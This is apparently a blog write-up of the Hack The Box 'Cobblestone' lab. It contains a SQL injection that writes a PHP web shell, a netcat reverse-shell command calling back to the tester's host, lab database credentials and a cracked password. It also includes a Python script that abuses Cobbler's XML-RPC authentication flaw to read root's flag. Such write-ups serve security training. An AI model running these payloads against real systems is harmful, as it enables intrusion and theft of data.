Post

Cobblestone

Cobblestone

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -PN -sC -sV -oN cobblestone 10.129.186.143
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 13:01 PKT
Nmap scan report for 10.129.186.143
Host is up (0.34s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
|_  256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://cobblestone.htb/
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.55 seconds

Let’s interact with the exposed web server on port 80.

Web Enumeration

The web server redirects us to http://cobblestone.htb/. We need to add this domain to our /etc/hosts file.

alt text

The web page has 3 different possibilities.

  1. deploy.cobblestone.htb
  2. vote.cobblestone.htb
  3. cobblestone.htb/skins.php -> (redirects) cobblestone.htb/login.php

Let’s add the subdomains to our /etc/hosts file:

Deploy Subdomain

Looks like a deadend but may require further investigation later.

alt text

Vote Subdomain

Takes you to it’s own login.php page. Let’s register a new user.

alt text

Let’s fire up burpsuite and intercept the request to suggesting a server.

Foothold

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /suggest.php HTTP/1.1
Host: vote.cobblestone.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://vote.cobblestone.htb
Connection: keep-alive
Referer: http://vote.cobblestone.htb/
Cookie: PHPSESSID=b1cft6uv555umsneif4t6dkvc8
Upgrade-Insecure-Requests: 1
Priority: u=0, i

url=TESSS%27+UNION+ALL+SELECT+1%2C2%2C3%2CFROM_BASE64%28%22PD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTsgPz4%3D%22%29%2C5+INTO+OUTFILE+%27%2Fvar%2Fwww%2Fvote%2Fcmd.php%27--+-

This request will create a file at /var/www/vote/cmd.php with the contents of <?php passthru($_GET['cmd']); ?>.

Then we deliver the payload to get a reverse shell on the server:

1
http://vote.cobblestone.htb//cmd.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.40%204444%20%3E%2Ftmp%2Ff
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
drwxr-xr-x 9 root  root   4096 Aug 10 03:32 .
drwxr-xr-x 5 root  root   4096 Aug 10 03:30 ..
-rw-r--r-- 1 mysql mysql    41 Aug 10 03:32 cmd.php
-rw-r--r-- 1 root  root     56 Sep 30  2024 composer.json
-rw-r--r-- 1 root  root  13867 Sep 30  2024 composer.lock
drwxr-xr-x 2 root  root   4096 Apr 23 07:57 css
drwxr-xr-x 2 root  root   4096 Sep 30  2024 db
-rw-r--r-- 1 root  root   2831 Apr 24 08:09 details.php
-rw-r--r-- 1 root  root   1150 Sep 30  2024 favicon.ico
drwxr-xr-x 2 root  root   4096 Oct  1  2024 img
-rw-r--r-- 1 root  root   6520 Apr 24 08:12 index.php
drwxr-xr-x 2 root  root   4096 Oct  1  2024 js
-rw-r--r-- 1 root  root   6369 Apr 24 07:40 login.php
-rw-r--r-- 1 root  root   1046 Apr 24 07:55 login_verify.php
-rw-r--r-- 1 root  root    101 Sep 30  2024 logout.php
-rw-r--r-- 1 root  root   1984 Apr 24 07:42 register.php
-rw-r--r-- 1 root  root    844 Apr 24 08:06 suggest.php
drwxr-xr-x 2 root  root   4096 Sep 30  2024 templates
drwxr-xr-x 5 root  root   4096 Sep 30  2024 vendor
drwxr-xr-x 2 root  root   4096 Sep 30  2024 webfonts

connection.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$dbserver = "localhost";
$username = "voteuser";
$password = "thaixu6eih0Iicho]irahvoh6aigh>ie";
$dbname = "vote";

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn->connect_errno > 0) {
    die("Connection failed: " . $conn->connect_error);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
www-data@cobblestone:/var/www/html$ ls -la
total 116
drwxr-xr-x 10 root root  4096 Apr 28 03:05 .
drwxr-xr-x  5 root root  4096 Aug 10 03:35 ..
-rw-r--r--  1 root root    56 Sep 27  2024 composer.json
-rw-r--r--  1 root root 13867 Sep 27  2024 composer.lock
drwxr-xr-x  2 root root  4096 Apr 23 07:57 css
drwxr-xr-x  2 root root  4096 Oct  1  2024 db
-rw-r--r--  1 root root   611 Sep 30  2024 download.php
drwxr-xr-x  2 root root  4096 Oct  1  2024 img
-rw-r--r--  1 root root  1942 Oct  1  2024 index.php
drwxr-xr-x  2 root root  4096 Oct  1  2024 js
-rw-r--r--  1 root root  6269 Apr 24 04:43 login.php
-rw-r--r--  1 root root  1268 Apr 23 08:50 login_verify.php
-rw-r--r--  1 root root   101 Sep 27  2024 logout.php
-rw-r--r--  1 root root   493 Apr 24 02:55 preview_banner.php
-rw-r--r--  1 root root  2062 Apr 28 06:53 register.php
drwxr-xrwx  2 root root  4096 Oct  1  2024 skins
-rw-r--r--  1 root root  7445 Apr 28 07:00 skins.php
-rw-r--r--  1 root root   255 Apr 28 03:04 skins_app_admin_server_info.php
-rw-r--r--  1 root root  1056 Apr 24 04:27 suggest_skin.php
drwxr-xr-x  2 root root  4096 Apr 28 04:03 templates
-rw-r--r--  1 root root  3102 Apr 24 08:04 upload.php
-rw-r--r--  1 root root  3267 Apr 28 07:04 user.php
drwxr-xr-x  5 root root  4096 Sep 27  2024 vendor
drwxr-xr-x  2 root root  4096 Sep 27  2024 webfonts

www-data@cobblestone:/var/www/html/db$ ls -la
total 12
drwxr-xr-x  2 root root 4096 Oct  1  2024 .
drwxr-xr-x 10 root root 4096 Apr 28 03:05 ..
-rw-r--r--  1 root root  303 Oct  1  2024 connection.php
www-data@cobblestone:/var/www/html/db$ cat connection.php 
<?php

$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn->connect_errno > 0) {
    die("Connection failed: " . $conn->connect_error);
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@cobblestone:/var/www$ mysql -u voteuser -p
Enter password:
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| vote               |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use vote;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [vote]> show tables;
+----------------+
| Tables_in_vote |
+----------------+
| users          |
| votes          |
+----------------+
2 rows in set (0.000 sec)

The ACL on the database is impressive. voteuser is only able to really read vote database and it has nothing much of interest. Let’s try dbuser.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
www-data@cobblestone:/var/www/html$ mysql -u dbuser -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2599
Server version: 10.11.11-MariaDB-0+deb12u1-log Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| cobblestone        |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)
MariaDB [cobblestone]> show tables;
+-----------------------+
| Tables_in_cobblestone |
+-----------------------+
| skins                 |
| suggestions           |
| users                 |
+-----------------------+
3 rows in set (0.000 sec)

MariaDB [cobblestone]> SELECT * FROM users;
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
| id | Username | FirstName | LastName | Email                  | Role  | Password                                                         | register_ip |
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
|  1 | admin    | admin     | admin    | admin@cobblestone.htb  | admin | f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1 | *           |
|  2 | cobble   | cobble    | stone    | cobble@cobblestone.htb | admin | 20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d | *           |
|  3 | khan     | Khan      | Marshal  | khan@cobblestone.htb   | user  | 1ef393f2c0772064cae9403f23e7f8fc6d49bb2939f463f23c4e637231e84da4 | 10.10.16.40 |
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
3 rows in set (0.001 sec)

cobble:20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d

From crackstation.net:

cobble:iluvdannymorethanyouknow

We can now ssh as cobble:

1
2
3
4
5
6
7
8
9
10
cobble@cobblestone:~$ ls -la
total 32
drwx------ 3 cobble cobble 4096 Jul 24 14:41 .
drwxr-xr-x 3 root   root   4096 Jul 24 14:41 ..
-rwx------ 1 root   root      1 Oct  1  2024 .bash_history
-rwx------ 1 cobble cobble  220 Oct  1  2024 .bash_logout
-rwx------ 1 cobble cobble 3526 Oct  1  2024 .bashrc
-rwx------ 1 cobble cobble  807 Oct  1  2024 .profile
drwx------ 2 cobble cobble 4096 Jul 24 14:41 .ssh
-rw-r----- 2 root   cobble   33 Aug  9 23:08 user.txt

Privilege Escalation

Something particularly of interest I noticed is that we are inside rbash:

1
2
cobble@cobblestone:~$ sudo -l                                                                                                                                                                                
-rbash: sudo: command not found

Let’s check on the running sockets:

1
2
3
4
5
6
7
8
9
10
cobble@cobblestone:~$ ss -tulnp                                                                                                                                                                              
Netid                State                 Recv-Q                Send-Q                               Local Address:Port                                Peer Address:Port               Process               
udp                  UNCONN                0                     0                                          0.0.0.0:68                                       0.0.0.0:*                                        
udp                  UNCONN                0                     0                                          0.0.0.0:69                                       0.0.0.0:*                                        
udp                  UNCONN                0                     0                                             [::]:69                                          [::]:*                                        
tcp                  LISTEN                0                     128                                        0.0.0.0:22                                       0.0.0.0:*                                        
tcp                  LISTEN                0                     511                                        0.0.0.0:80                                       0.0.0.0:*                                        
tcp                  LISTEN                0                     5                                        127.0.0.1:25151                                    0.0.0.0:*                                        
tcp                  LISTEN                0                     80                                       127.0.0.1:3306                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     128                                           [::]:22                                          [::]:*

We can see that there is a process listening on port 25151. We might have to create an SSH Tunnel to access the running service on that port.

Cobbler Improper Auth Leads to Disclosure of File

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
ssh -L 25151:127.0.0.1:25151 cobble@cobblestone.htb

┌──(kali㉿vm-kali)-[~/htb/cobblestone]
└─$ cat root.py                                                 
import xmlrpc.client

KERNEL = "/boot/vmlinuz-6.1.0-37-amd64"
INITRD = "/boot/initrd.img-6.1.0-37-amd64"
TARGET = "/root/root.txt"
NAME   = "pwnsys"
DEST   = "/leak"

srv = xmlrpc.client.ServerProxy("http://127.0.0.1:25151/RPC2", allow_none=True)
tok = srv.login("", -1)

did = srv.new_distro(tok)
srv.modify_distro(did, "name", "pwn_distro", tok)
srv.modify_distro(did, "arch", "x86_64", tok)
srv.modify_distro(did, "breed", "redhat", tok)
srv.modify_distro(did, "kernel", KERNEL, tok)
srv.modify_distro(did, "initrd", INITRD, tok)
srv.save_distro(did, tok)

pid = srv.new_profile(tok)
srv.modify_profile(pid, "name", "pwn_profile", tok)
srv.modify_profile(pid, "distro", "pwn_distro", tok)
srv.save_profile(pid, tok)

sid = srv.new_system(tok)
srv.modify_system(sid, "name", NAME, tok)
srv.modify_system(sid, "profile", "pwn_profile", tok)
srv.modify_system(sid, "template_files", {TARGET: DEST}, tok)
srv.save_system(sid, tok)

srv.sync(tok)

print(srv.get_template_file_for_system(NAME, DEST), end="")


This post is licensed under CC BY 4.0 by the author.